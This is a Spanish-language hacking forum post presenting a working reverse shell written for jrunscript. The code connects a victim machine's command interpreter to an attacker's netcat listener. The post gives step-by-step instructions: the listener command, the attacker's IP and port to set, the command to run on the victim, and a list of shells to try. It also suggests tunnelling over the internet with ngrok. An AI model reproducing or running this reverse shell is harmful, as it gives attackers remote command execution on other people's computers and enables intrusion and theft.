elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Recuerda que debes registrarte en el foro para poder participar (preguntar y responder)


+  Foro de elhacker.net
|-+  Programación
| |-+  Programación General
| | |-+  Java
| | | |-+  contribucion shell inversa en jrunscript
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: contribucion shell inversa en jrunscript  (Leído 2,342 veces)
sapito169


Desconectado Desconectado

Mensajes: 628



Ver Perfil
contribucion shell inversa en jrunscript
« en: 3 Enero 2022, 07:10 am »

hola a qui les presento una shell inversa en jrunscript

 :xD :xD :xD :xD :xD





paso a explicar los comandos mas importantes recuerda el atacante y la victima tienen que usar el mismo puerto y estar dentro de la misma red si quieres atraves de wan tienes que usar un tunel XD

1 primer paso preparando el listener en el atacante en el puerto 9001
 

 

Código
  1. nc -lvnp 9001

2 modifica la primera linea del script para que use el ip del atacante y un puerto recuerda los puertos tienen que coincidir

 
Código
  1. main( "localhost",9001,"cmd");
  2.  
  3. function main(host,port,cmd) {
  4. try {
  5. p = new java.lang.ProcessBuilder(cmd).redirectErrorStream(true).start();
  6. s = new java.net.Socket(host, port);
  7. pi = p.getInputStream();
  8. pe = p.getErrorStream();
  9. si = s.getInputStream();
  10. po = p.getOutputStream();
  11. so = s.getOutputStream();
  12. while (!s.isClosed()) {
  13. while (pi.available() > 0)
  14. so.write(pi.read());
  15. while (pe.available() > 0)
  16. so.write(pe.read());
  17. while (si.available() > 0)
  18. po.write(si.read());
  19. so.flush();
  20. po.flush();
  21. java.lang.Thread.sleep(50);
  22. try {
  23. p.exitValue();
  24. break;
  25. } catch ( e) {/*e.printStackTrace();*/}
  26. }
  27. p.destroy();
  28. s.close();
  29. } catch ( e) {e.printStackTrace();}
  30. }
  31.  
  32.  
  33.  

3 ejecutar script shell.js en la victima usando el ip del atacante y cmd para los que odian al los pinwinos o

Código
  1. jrunscript shell.js

otras opciones dependiendo de el sistema operativo y las configuraciones puede funcionar alguno
 sh
 /bin/sh
 bash
 /bin/bash
 cmd
 powershell
 pwsh
 ash
 bsh
 csh
 ksh
 zsh
 pdksh
 tcsh


fuentes y herramientas

un builder de shell reversa online https://www.revshells.com/

y con ngrok te haces un tunel




« Última modificación: 5 Enero 2022, 05:52 am por sapito169 » En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Netcat: ayuda .bat que funciona como Shell inversa...
Hacking
n0names 6 5,475 Último mensaje 8 Marzo 2012, 21:53 pm
por kub0x
Proceso de subir una Shell Inversa para hacer una escalada de privilegios
Hacking
cybersthl 2 3,006 Último mensaje 30 Agosto 2018, 21:18 pm
por cybersthl
contribución mini ejemplo de lenguaje interpretado
Java
sapito169 6 3,303 Último mensaje 21 Noviembre 2018, 17:28 pm
por sapito169
contribución pruebas unitarias asynchronas
Java
sapito169 1 2,296 Último mensaje 18 Julio 2019, 19:01 pm
por sapito169
contribucion ejemplo de eventbus
Java
sapito169 6 4,578 Último mensaje 19 Enero 2021, 05:20 am
por sapito169
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines